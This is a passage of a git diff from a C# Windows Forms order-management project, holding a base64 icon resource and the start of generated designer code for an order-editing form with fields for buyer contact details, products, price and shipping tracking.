Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcwAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/OrderEdit.Designer.cs b/29WxOrder/OrderForms/OrderEdit.Designer.cs new file mode 100644 index 0000000..54bc862 --- /dev/null +++ b/29WxOrder/OrderForms/OrderEdit.Designer.cs @@ -0,0 +1,582 @@ + +namespace _29WxOrder.OrderForms +{ + partial class OrderEdit + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(OrderEdit)); + this.plmain = new System.Windows.Forms.Panel(); + this.button1 = new System.Windows.Forms.Button(); + this.tbprice = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label11 = new System.Windows.Forms.Label(); + this.tbcount = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label10 = new System.Windows.Forms.Label(); + this.cbmaishou = new System.Windows.Forms.ComboBox(); + this.tbexpress_no = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label9 = new System.Windows.Forms.Label(); + this.cbexpress_name = new System.Windows.Forms.ComboBox(); + this.label8 = new System.Windows.Forms.Label(); + this.label7 = new System.Windows.Forms.Label(); + this.tborderidbuy = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label3 = new System.Windows.Forms.Label(); + this.tbmobile = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.rbProduct5 = new System.Windows.Forms.RadioButton(); + this.rbProduct4 = new System.Windows.Forms.RadioButton(); + this.rbProduct3 = new System.Windows.Forms.RadioButton(); + this.rbProduct2 = new System.Windows.Forms.RadioButton(); + this.rbProduct1 = new System.Windows.Forms.RadioButton(); + this.btsave = new DevComponents.DotNetBar.PanelEx(); + this.label5 = new System.Windows.Forms.Label(); + this.tbsku = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label2 = new System.Windows.Forms.Label(); + this.tbname = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label4 = new System.Windows.Forms.Label(); + this.tbaddress = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label6 = new System.Windows.Forms.Label(); + this.tbremark = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.tbDefProductId = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.tbCustomProductId5 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.tbCustomProductId4 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.tbCustomProductId3 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.tbCustomProductId1 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.tbCustomProductId2 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label1 = new System.Windows.Forms.Label(); + this.label13 = new System.Windows.Forms.Label(); + this.plmain.SuspendLayout(); + this.SuspendLayout(); + // + // plmain + // + this.plmain.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.plmain.BackColor = System.Drawing.Color.White; + this.plmain.Controls.Add(this.button1); + this.plmain.Controls.Add(this.tbprice); + this.plmain.Controls.Add(this.label11); + this.plmain.Controls.Add(this.tbcount); + this.plmain.Controls.Add(this.label10); + this.plmain.Controls.Add(this.cbmaishou); + this.plmain.Controls.Add(this.tbexpress_no); + this.plmain.Controls.Add(this.label9); + this.plmain.Controls.Add(this.cbexpress_name); + this.plmain.Controls.Add(this.label8); + this.plmain.Controls.Add(this.label7); + this.plmain.Controls.Add(this.tborderidbuy); + this.plmain.Controls.Add(this.label3); + this.plmain.Controls.Add(this.tbmobile); + this.plmain.Controls.Add(this.rbProduct5); + this.plmain.Controls.Add(this.rbProduct4); + this.plmain.Controls.Add(this.rbProduct3); + this.plmain.Controls.Add(this.rbProduct2); + this.plmain.Controls.Add(this.rbProduct1); + this.plmain.Controls.Add(this.btsave); + this.plmain.Controls.Add(this.label5); + this.plmain.Controls.Add(this.tbsku); + this.plmain.Controls.Add(this.label2); + this.plmain.Controls.Add(this.tbname); + this.plmain.Controls.Add(this.label4); + this.plmain.Controls.Add(this.tbaddress); + this.plmain.Controls.Add(this.label6); + this.plmain.Controls.Add(this.tbremark); + this.plmain.Controls.Add(this.tbDefProductId); + this.plmain.Controls.Add(this.tbCustomProductId5); + this.plmain.Controls.Add(this.tbCustomProductId4); + this.plmain.Controls.Add(this.tbCustomProductId3); + this.plmain.Controls.Add(this.tbCustomProductId1); + this.plmain.Controls.Add(this.tbCustomProductId2); + this.plmain.Controls.Add(this.label1); + this.plmain.Controls.Add(this.label13); + this.plmain.Location = new System.Drawing.Point(2, 32); + this.plmain.Name = "plmain"; + this.plmain.Size = new System.Drawing.Size(596, 268); + this.plmain.TabIndex = 3; + // + // button1 + // + this.button1.Location = new System.Drawing.Point(521, 178); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(59, 23); + this.button1.TabIndex = 556; + this.button1.Text = "读进价"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // tbprice + // + // + // + // + this.tbprice.Border.Class = "TextBoxBorder"; + this.tbprice.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbprice.Location = new System.Drawing.Point(448, 179); + this.tbprice.Name = "tbprice"; + this.tbprice.Size = new System.Drawing.Size(67, 21); + this.tbprice.TabIndex = 555; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(412, 184); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(41, 12); + this.label11.TabIndex = 554; + this.label11.Text = "进价:"; + // + // tbcount + // + // + // + // + this.tbcount.Border.Class = "TextBoxBorder"; + this.tbcount.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbcount.Location = new System.Drawing.Point(333, 179); + this.tbcount.Name = "tbcount"; + this.tbcount.Size = new System.Drawing.Size(67, 21); + this.tbcount.TabIndex = 553; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(271, 185); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(65, 12); + this.label10.TabIndex = 552; + this.label10.Text = "购买数量:"; + // + // cbmaishou + // + this.cbmaishou.FormattingEnabled = true; + this.cbmaishou.Location = new System.Drawing.Point(333, 48); + this.cbmaishou.Name = "cbmaishou"; + this.cbmaishou.Size = new System.Drawing.Size(136, 20); + this.cbmaishou.TabIndex = 551; + // + // tbexpress_no + // + // + // + // + this.tbexpress_no.Border.Class = "TextBoxBorder"; + this.tbexpress_no.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbexpress_no.Location = new System.Drawing.Point(333, 238); + this.tbexpress_no.Name = "tbexpress_no"; + this.tbexpress_no.Size = new System.Drawing.Size(182, 21); + this.tbexpress_no.TabIndex = 549; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(271, 243); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(65, 12); + this.label9.TabIndex = 550; + this.label9.Text = "物流单号:"; + // + // cbexpress_name + // + this.cbexpress_name.FormattingEnabled = true; + this.cbexpress_name.Location = new System.Drawing.Point(333, 212); + this.cbexpress_name.Name = "cbexpress_name"; + this.cbexpress_name.Size = new System.Drawing.Size(182, 20); + this.cbexpress_name.TabIndex = 548; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(271, 215); + this.label8.Name = "label8"; + this.label8.Size = new 